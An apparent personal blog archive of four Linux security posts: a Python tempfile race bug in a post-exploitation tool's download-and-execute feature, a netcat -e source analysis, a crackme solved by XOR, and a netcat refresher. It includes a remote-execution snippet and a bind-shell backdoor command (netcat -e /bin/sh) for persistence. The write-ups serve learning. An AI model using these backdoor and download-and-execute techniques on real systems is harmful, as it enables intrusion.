Category Archives: Linux

Off to the (Python Internals) Races

This post is about an interesting race condition bug I ran into when working on a small feature improvement for poet a while ago that I thought was worth writing a blog post about.

In particular, I was improving the download-and-execute capability of poet which, if you couldn’t tell, downloads a file from the internet and executes it on the target. At the original time of writing, I didn’t know about the python tempfile module and since I recently learned about it, I wanted to integrate it into poet as it would be a significant improvement to the original implementation. The initial patch looked like this.

r = urllib2.urlopen(inp.split()[1])
with tempfile.NamedTemporaryFile() as f:
    f.write(r.read())
    os.fchmod(f.fileno(), stat.S_IRWXU)
    f.flush()  # ensure that file was actually written to disk
    sp.Popen(f.name, stdout=open(os.devnull, 'w'), stderr=sp.STDOUT)

This code downloads a file from the internet, writes it to a tempfile on disk, sets the permissions to executable, executes it in a subprocess. In testing this code, I observed some puzzling behavior: the file was never actually getting executed because it was suddenly ceasing to exist! I noticed though that when I used subprocess.call() or used .wait() on the Popen(), it would work fine, however I intentionally didn’t want the client to block while the file executed its arbitrary payload, so I couldn’t use those functions.

The fact that the execution would work when the Popen call waited for the process and didn’t work otherwise suggests that there was something going on between the time it took to execute the child and the time it took for the with block to end and delete the file, which is tempfile‘s default behavior. More specifically, the file must have been deleted at some point before the exec syscall loaded the file from disk into memory. Let’s take a look at the implementation of subprocess.Popen() to see if we can gain some more insight:

def _execute_child(self, args, executable, preexec_fn, close_fds,
                           cwd, env, universal_newlines,
                           startupinfo, creationflags, shell, to_close,
                           p2cread, p2cwrite,
                           c2pread, c2pwrite,
                           errread, errwrite):
            """Execute program (POSIX version)"""

            <snip>

            try:
                try:
                    <snip>
                    try:
                        self.pid = os.fork()
                    except:
                        if gc_was_enabled:
                            gc.enable()
                        raise
                    self._child_created = True
                    if self.pid == 0:
                        # Child
                        try:
                            # Close parent's pipe ends
                            if p2cwrite is not None:
                                os.close(p2cwrite)
                            if c2pread is not None:
                                os.close(c2pread)
                            if errread is not None:
                                os.close(errread)
                            os.close(errpipe_read)

                            # When duping fds, if there arises a situation
                            # where one of the fds is either 0, 1 or 2, it
                            # is possible that it is overwritten (#12607).
                            if c2pwrite == 0:
                                c2pwrite = os.dup(c2pwrite)
                            if errwrite == 0 or errwrite == 1:
                                errwrite = os.dup(errwrite)

                            # Dup fds for child
                            def _dup2(a, b):
                                # dup2() removes the CLOEXEC flag but
                                # we must do it ourselves if dup2()
                                # would be a no-op (issue #10806).
                                if a == b:
                                    self._set_cloexec_flag(a, False)
                                elif a is not None:
                                    os.dup2(a, b)
                            _dup2(p2cread, 0)
                            _dup2(c2pwrite, 1)
                            _dup2(errwrite, 2)

                            # Close pipe fds.  Make sure we don't close the
                            # same fd more than once, or standard fds.
                            closed = { None }
                            for fd in [p2cread, c2pwrite, errwrite]:
                                if fd not in closed and fd > 2:
                                    os.close(fd)
                                    closed.add(fd)

                            if cwd is not None:
                                os.chdir(cwd)

                            if preexec_fn:
                                preexec_fn()

                            # Close all other fds, if asked for - after
                            # preexec_fn(), which may open FDs.
                            if close_fds:
                                self._close_fds(but=errpipe_write)

                            if env is None:
                                os.execvp(executable, args)
                            else:
                                os.execvpe(executable, args, env)

                        except:
                            exc_type, exc_value, tb = sys.exc_info()
                            # Save the traceback and attach it to the exception object
                            exc_lines = traceback.format_exception(exc_type,
                                                                   exc_value,
                                                                   tb)
                            exc_value.child_traceback = ''.join(exc_lines)
                            os.write(errpipe_write, pickle.dumps(exc_value))

                        # This exitcode won't be reported to applications, so it
                        # really doesn't matter what we return.
                        os._exit(255)

                    # Parent
                    if gc_was_enabled:
                        gc.enable()
                finally:
                    # be sure the FD is closed no matter what
                    os.close(errpipe_write)

                # Wait for exec to fail or succeed; possibly raising exception
                # Exception limited to 1M
                data = _eintr_retry_call(os.read, errpipe_read, 1048576)

                <snip>

The _execute_child() function is called by the subprocess.Popen class constructor and implements child process execution. There’s a lot of code here, but key parts to notice here are the os.fork() call which creates the child process, and the relative lengths of the following if blocks. The check if self.pid == 0 contains the code for executing the child process and is significantly more involved than the code for handling the parent process.

From this, we can deduce that when the subprocess.Popen() call executes in my code, after forking, while the child is preparing to call os.execve, the parent simply returns, and immediately exits the with block. This automatically invokes the f.close() function which deletes the temp file. By the time the child calls os.execve, the file has been deleted on disk. Oops.

I fixed this by adding the delete=False argument to the NamedTemporaryFile constructor to suppress the auto-delete functionality. Of course this means that the downloaded files will have to be cleaned up manually, but this allows the client to not block when executing the file and have the code still be pretty clean.

Main takeaway here: don’t try to Popen a NamedTemporaryFile as the last statement in the tempfile’s with block.

Netcat “-e” Analysis

As I mentioned in a previous post, netcat has this cool -e parameter that lets you specify an executable to essentially turn into a network service, that is, a process that can send and receive data over the network. This option is option is particularly useful when called with a shell (/bin/sh, /bin/bash, etc) as a parameter because this creates a poor man’s remote shell connection, and can also be used as a backdoor into the system. As part of the post-exploitation tool I’m working on, I wanted to try to add this type of remote shell feature, but it wasn’t immediately obvious to me how something like this would be done, so I decided to dive into netcat’s source and see if I could understand how it was implemented.

Not knowing where to start, I first tried searching the file for "-e" which brought me to:

case 'e':           /* prog to exec */
  if (opt_exec)
ncprint(NCPRINT_ERROR | NCPRINT_EXIT,
    _("Cannot specify `-e' option double"));
  opt_exec = strdup(optarg);
  break;

This snippet is using the GNU argument parsing library, getopt, to check if "-e" is set, and if not, setting the global char* variable opt_exec to the parameter. Then I tried searching for opt_exec, bringing me to:

if (netcat_mode == NETCAT_LISTEN) {
  if (opt_exec) {
ncprint(NCPRINT_VERB2, _("Passing control to the specified program"));
ncexec(&listen_sock);       /* this won't return */
  }
  core_readwrite(&listen_sock, &stdio_sock);
  debug_dv(("Listen: EXIT"));
}

This code checks if opt_exec is set, and if so calling ncexec().

/* Execute an external file making its stdin/stdout/stderr the actual socket */

static void ncexec(nc_sock_t *ncsock)
{
  int saved_stderr;
  char *p;
  assert(ncsock && (ncsock->fd >= 0));

  /* save the stderr fd because we may need it later */
  saved_stderr = dup(STDERR_FILENO);

  /* duplicate the socket for the child program */
  dup2(ncsock->fd, STDIN_FILENO);   /* the precise order of fiddlage */
  close(ncsock->fd);            /* is apparently crucial; this is */
  dup2(STDIN_FILENO, STDOUT_FILENO);    /* swiped directly out of "inetd". */
  dup2(STDIN_FILENO, STDERR_FILENO);    /* also duplicate the stderr channel */

  /* change the label for the executed program */
  if ((p = strrchr(opt_exec, '/')))
    p++;            /* shorter argv[0] */
  else
    p = opt_exec;

  /* replace this process with the new one */
#ifndef USE_OLD_COMPAT
  execl("/bin/sh", p, "-c", opt_exec, NULL);
#else
  execl(opt_exec, p, NULL);
#endif
  dup2(saved_stderr, STDERR_FILENO);
  ncprint(NCPRINT_ERROR | NCPRINT_EXIT, _("Couldn't execute %s: %s"),
      opt_exec, strerror(errno));
}               /* end of ncexec() */ 

Here, on lines 13-16 is how the "-e" parameter really works. dup2() accepts two file descriptors and after deallocating the second one (as if close() was called on it), the second one’s value is set to the first. So in this case on line 13, the child process’s stdin is being set to the file descriptor for the network socket netcat opened. This means that the child process will view any data received over the network will as input data and will act accordingly. Then on lines 15 and 16, the stdout and stderr descriptors are also set to the socket, which will cause any output the program has to be directed over the network. As far as line 14 goes, I’m not sure why the original socket file descriptor has to be closed at that exact point (and based on the comments, it seems like the netcat author wasn’t sure either).

The main point is this file descriptor swapping has essentially converted our specified program into a network service; all the input and output will be piped over the network, and at this point the child process can be executed. The child will replace the netcat process and will also inherit the newly set socket file descriptors. Note that on lines 30 and 31 there’s some error handling code that resets the original stderr for the netcat process and prints out an error message. This is because the code should actually never get to this point in execution due to the execl() call and if it does, there was an error executing the child.

I wrote this little python program to see if I understood things correctly:

#!/usr/bin/env python

import sys

inp = sys.stdin.read(5)
if inp == 'hello':
    sys.stdout.write('hi\n')
else:
    sys.stdout.write('bye\n')

It simply reads 5 bytes from stdin and prints ‘hi’ if those 5 bytes were ‘hello’ otherwise printing ‘bye’.

Using this program as the -e parameter results in this:

$ netcat -e /tmp/test.py -lp 8080 &
[1] 19021
$ echo asdfg | netcat 127.0.0.1 8080
bye
[1]+  Done                    netcat -e /tmp/blah.py -lp 8080
$ netcat -e /tmp/test.py -lp 8080 &
[1] 19024
$ echo hello | netcat 127.0.0.1 8080
hi
[1]+  Done                    netcat -e /tmp/blah.py -lp 8080

We can see the "server" launched in the background. The echo command sends data into netcat’s stdin, which is being sent over the network, handled by the python script, which sends back its response, which gets printed. Then we can see that the server exits since the netcat process has been replaced by the script, and the script has exited.

Beginner Crackme

As part of an Intro to Security course I’m taking, my professor gave us a crackme style exercise to practice reading x86 assembly and basic reverse engineering.

The program is pretty simple. It accepts a password as an argument and we’re told that if the password is correct, "ok" is printed.

$ ./crackme
usage: ./crackme <secret>
$ ./crackme test
$

As usual, I start by running file on the binary, which shows that it’s a standard x64 ELF binary. file also says that the binary is "not stripped", which means that it includes symbols. All I really know about symbols are that they can include debugging information about a binary like function and variable names and some symbols aren’t really necessary; they can be stripped out to reduce the binary’s size and make reverse engineering more challenging. Maybe I’ll do a more in depth post on this in the future.

$ file crackme
crackme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0x3fcf895b7865cb6be6b934640d1519a1e6bd6d39, not stripped

Next, I run strings, hoping to get lucky and find the password amongst the strings in the binary. Strings looks for series of printable characters followed by a NULL, but unfortunately nothing here works as the password.

$ strings crackme
/lib64/ld-linux-x86-64.so.2
exd4
libc.so.6
puts
printf
memcmp
__libc_start_main
__gmon_start__
GLIBC_2.2.5
fffff.
AWAVA
AUATL
[]A\A]A^A_
usage: %s <secret>
;*3$"

Since that didn’t work, we’re forced to disassemble the binary and actually try to reverse engineer it. We’ll start with main.

$ gdb -batch -ex 'file crackme' -ex 'disas main'
Dump of assembler code for function main:
   0x00000000004004a0 <+0>:     sub    rsp,0x8
   0x00000000004004a4 <+4>:     cmp    edi,0x1
   0x00000000004004a7 <+7>:     jle    0x4004c7 <main+39>
   0x00000000004004a9 <+9>:     mov    rdi,QWORD PTR [rsi+0x8]
   0x00000000004004ad <+13>:    call   0x4005e0 <verify_secret>
   0x00000000004004b2 <+18>:    test   eax,eax
   0x00000000004004b4 <+20>:    je     0x4004c2 <main+34>
   0x00000000004004b6 <+22>:    mov    edi,0x4006e8
   0x00000000004004bb <+27>:    call   0x400450 <puts@plt>
   0x00000000004004c0 <+32>:    xor    eax,eax
   0x00000000004004c2 <+34>:    add    rsp,0x8
   0x00000000004004c6 <+38>:    ret
   0x00000000004004c7 <+39>:    mov    rsi,QWORD PTR [rsi]
   0x00000000004004ca <+42>:    mov    edi,0x4006d4
   0x00000000004004cf <+47>:    xor    eax,eax
   0x00000000004004d1 <+49>:    call   0x400460 <printf@plt>
   0x00000000004004d6 <+54>:    mov    eax,0x1
   0x00000000004004db <+59>:    jmp    0x4004c2 <main+34>
End of assembler dump.

Let’s break this down a little.

    0x00000000004004a0 <+0>:     sub    rsp,0x8
    0x00000000004004a4 <+4>:     cmp    edi,0x1
    0x00000000004004a7 <+7>:     jle    0x4004c7 <main+39>

Starting at the beginning, we see the stack pointer decremented as part of the function prologue. The prologue is a set of setup steps involving saving the old frame’s base pointer on the stack, reassigning the base pointer to the current stack pointer, then subtracting the stack pointer a certain amount to make room on the stack for local variables, etc. We don’t see the former two steps because this is the main function so it doesn’t really have a function calling it, so saving/setting the base pointer isn’t necessary.

Then the edi register is compared to 1 and if it is less than or equal, we jump to offset 39.

   0x00000000004004c2 <+34>:    add    rsp,0x8
   0x00000000004004c6 <+38>:    ret
   0x00000000004004c7 <+39>:    mov    rsi,QWORD PTR [rsi]
   0x00000000004004ca <+42>:    mov    edi,0x4006d4
   0x00000000004004cf <+47>:    xor    eax,eax
   0x00000000004004d1 <+49>:    call   0x400460 <printf@plt>
   0x00000000004004d6 <+54>:    mov    eax,0x1
   0x00000000004004db <+59>:    jmp    0x4004c2 <main+34>

Here at offset 39, we print something then jump to offset 34 where we repair the stack (undo the sub instruction from the prologue) and return (ending execution).

This is likely how the program checks the arguments and prints the usage message if no arguments are supplied (which would cause argc/edi to be 1).

However if we supply an argument, edi is 0x2 and we move past the jle instruction.

   0x00000000004004a9 <+9>:     mov    rdi,QWORD PTR [rsi+0x8]
   0x00000000004004ad <+13>:    call   0x4005e0 <verify_secret>

Here we can see the verify_secret function being called with a parameter in rdi. This is most likely the argument we passed into the program. We can confirm this with gdb (I’m using it with peda here).

gdb-peda$ tele $rsi
0000| 0x7fffffffeb48 --> 0x7fffffffed6e ("/home/vagrant/crackme/crackme")
0008| 0x7fffffffeb50 --> 0x7fffffffed8c --> 0x4548530074736574 ('test')
0016| 0x7fffffffeb58 --> 0x0

Indeed rsi points to the first element of argv, so incrementing that by 8 bytes (because 64 bit) points to argv[1], which is our input.

If we look after the verify_secret call we can see the program checks if eax is 0 and if it is, jumps to offset 34, ending the program. However, if eax is not zero, we’ll hit a puts call before exiting, which will presumably print out the "ok" message we want.

   0x00000000004004b2 <+18>:    test   eax,eax
   0x00000000004004b4 <+20>:    je     0x4004c2 <main+34>
   0x00000000004004b6 <+22>:    mov    edi,0x4006e8
   0x00000000004004bb <+27>:    call   0x400450 <puts@plt>
   0x00000000004004c0 <+32>:    xor    eax,eax
   0x00000000004004c2 <+34>:    add    rsp,0x8
   0x00000000004004c6 <+38>:    ret

Now lets disassemble verify_secret to see how the input validation is performed, and to see how we can make it return non-zero.

Dump of assembler code for function verify_secret:
   0x00000000004005e0 <+0>:     sub    rsp,0x408
   0x00000000004005e7 <+7>:     movzx  eax,BYTE PTR [rdi]
   0x00000000004005ea <+10>:    mov    rcx,rsp
   0x00000000004005ed <+13>:    test   al,al
   0x00000000004005ef <+15>:    je     0x400622 <verify_secret+66>
   0x00000000004005f1 <+17>:    mov    rdx,rsp
   0x00000000004005f4 <+20>:    jmp    0x400604 <verify_secret+36>
   0x00000000004005f6 <+22>:    nop    WORD PTR cs:[rax+rax*1+0x0]
   0x0000000000400600 <+32>:    test   al,al
   0x0000000000400602 <+34>:    je     0x400622 <verify_secret+66>
   0x0000000000400604 <+36>:    xor    eax,0xfffffff7
   0x0000000000400607 <+39>:    lea    rsi,[rsp+0x400]
   0x000000000040060f <+47>:    add    rdx,0x1
   0x0000000000400613 <+51>:    mov    BYTE PTR [rdx-0x1],al
   0x0000000000400616 <+54>:    add    rdi,0x1
   0x000000000040061a <+58>:    movzx  eax,BYTE PTR [rdi]
   0x000000000040061d <+61>:    cmp    rdx,rsi
   0x0000000000400620 <+64>:    jb     0x400600 <verify_secret+32>
   0x0000000000400622 <+66>:    mov    edx,0x18
   0x0000000000400627 <+71>:    mov    esi,0x600a80
   0x000000000040062c <+76>:    mov    rdi,rcx
   0x000000000040062f <+79>:    call   0x400480 <memcmp@plt>
   0x0000000000400634 <+84>:    test   eax,eax
   0x0000000000400636 <+86>:    sete   al
   0x0000000000400639 <+89>:    add    rsp,0x408
   0x0000000000400640 <+96>:    movzx  eax,al
   0x0000000000400643 <+99>:    ret
End of assembler dump.

I won’t walk through this one in detail because understanding each line isn’t necessary to crack this. Let’s skip to the memcmp call. If memcmp returns 0, eax is set to 1 and the function returns. This is exactly what we want. From the man page, memcmp takes three parameters, two buffers to compare and their lengths, and returns 0 if the buffers are identical.

   0x0000000000400622 <+66>:    mov    edx,0x18
   0x0000000000400627 <+71>:    mov    esi,0x600a80
   0x000000000040062c <+76>:    mov    rdi,rcx
   0x000000000040062f <+79>:    call   0x400480 <memcmp@plt>

Here’s the setup to the memcmp call. We can see the third parameter for length is the immediate 0x18 meaning the buffers will be 24 bytes in length. If we examine address 0x600a80, we find this 24 byte string:

gdb-peda$ hexd 0x600a80 /2
0x00600a80 : 91 bf a4 85 85 c3 ba b9 9f a6 b6 b1 93 b9 83 8f   ................
0x00600a90 : ae b1 ae c1 bc 80 ca ca 00 00 00 00 00 00 00 00   ................

Since this is a direct address to some memory, we can be fairly certain that we’ve found some sort of secret value! Based on the movzx eax,BYTE PTR [rdi] instruction (offset 7) which moves a byte from the input string into eax, the xor eax, 0xfffffff7 instruction (offset 36), and the add rdi, 0x1 instruction (offset 54) which increments the char* pointer to our input string, we can reasonably guess that this function is xor’ing each character of our input with 0xf7 and writing the result into a buffer which begins at rsp (also pointed to by rcx). Since we now know the secret (\x91\xbf\xa4\x85...) and the xor key (0xf7) it’s pretty easy to extract the password we need by xor’ing each byte of the secret with the xor key.

Here’s a way to do this with python.

{% highlight python %} str = ‘\x91\xbf\xa4\x85\x85\xc3\xba\xb9\x9f\xa6\xb6\xb1\x93\xb9\x83\x8f\xae\xb1\xae\xc1\xbc\x80\xca\xca’ ba = bytearray(str) for i, byte in enumerate(ba): ba[i] ^= 0xf7 print ba {% endhighlight %}

Which results in this:

$ python crack.py
fHSrr4MNhQAFdNtxYFY6Kw==
$ ./crackme fHSrr4MNhQAFdNtxYFY6Kw==
ok

Netcat Refresher

Introduction

Netcat is a great tool for all things networking and is commonly nicknamed "the TCP/IP Swiss-army knife" due to its versatility and utility. An absolute must-know for sysadmins and hackers. In this article, I’ll go over a few common uses I have for it that I frequently forget after not using it for a while, primarily for my own personal reference.

Before I begin, I should point out that there are a few variants on netcat that have slightly different options and behaviors but are all essentially the same in "spirit and functionality", as the ncat man page describes it.

The original netcat comes from the OpenBSD package and was written by "Hobbit". This is the default version that comes with OS X and Ubuntu. The version that I use and will cover is the standard GNU Netcat, by Giovanni Giacobbi, which is a rewrite of the original. This available using brew on OS X. On Ubuntu it’s called "netcat-traditional" which you can apt-get and then run with nc.traditional. Lastly, there is ncat, which is a netcat implementation by our friends from the nmap team. It is designed to modernize netcat and adds features like SSL, IPv6, and proxying which aren’t available in the original(s).

Usage

At its core, netcat is a tool for creating arbitrary TCP connections, which looks like

$ netcat [host] [port]

where host is either an IP Address or a domain name, and port is the TCP port to connect to.

You can also use netcat to do the reverse: listen for arbitrary TCP connections. This looks like

$ netcat -l -p [port] [host]

Here, host is an optional parameter which lets you limit what host can create connections.

Example: Chat

Using these two behaviors, we can create a crude chat system. One one host, listen for connections on a port.

$ netcat -l -p 1337

On the same one, in another terminal, connect to it on that port.

$ nc localhost 1337

There won’t be a prompt, but when you enter text and press enter, it will appear in the other terminal. You can just as easily do this between different hosts and have a super basic chat setup.

Example: Curl-like behavior

You can also use netcat to emulate curl and interact with HTTP servers. Connect to the server on port 80 (or whatever port it’s running on) and you can then type out the HTTP request to send to it. When you’re finished, hit enter twice and it will send.

[mark:~]{ nc example.org 80
GET / HTTP/1.1

HTTP/1.1 400 Bad Request
Content-Type: text/html
Content-Length: 349
Connection: close
Date: Wed, 05 Mar 2014 20:15:42 GMT
Server: ECSF (mdw/1383)

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>400 - Bad Request</title>
</head>
<body>
<h1>400 - Bad Request</h1>
</body>
</html>

As you can see here, we sent a bare-bones HTTP request (GET / HTTP/1.1) which was successfully sent to the server. The server responded with a 400, because our request didn’t contain enough information, but that’s not important; if we had filled in the right headers, it would have responded with the home page for example.org.

For Hackers

There are two applications for netcat that I find particularly useful in pen-testing situations.

Recon

The first is helpful for the recon stage, which is essentially getting information on your target. Sometimes network services may give away version information when an arbitrary network connection is made. For example, OpenSSH by default gives away it’s version information as well as information on the host, when you connect. For example,

$ netcat 1.2.3.4 22
SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.1

is typically what you might see. For an attacker, this is pretty valuable stuff! MySQL behaves similarly.

$ netcat 1.2.3.4 3306
J
5.5.33-.?2|>\8๏ฟฝ๏ฟฝ@x\E$"zeic2lmysql_native_password

The output isn’t as clear as OpenSSH, but we can confirm that MySQL is indeed running, and we can infer that the version is "5.5.33". For information on removing these banners, check out my blog post on it.

Persistence/Access

The other application is when you have achieved command execution, but not exactly shell access. You can use netcat to create a nifty backdoor which you can externally connect to. To create the backdoor, we’ll use the -e flag to tell netcat to execute a binary on receiving a connection. We want a shell, so we’ll say -e /bin/sh. The whole command will look like:

$ netcat -l -p 1337 -e /bin/sh

which will give you a backdoor on port 1337, which will then let you run commands upon connecting to that port. For a good example, check out my other blog post where I actually used this.

Conclusion

That was a quick overview of netcat including its basic functionality and some example use cases. Thanks for reading!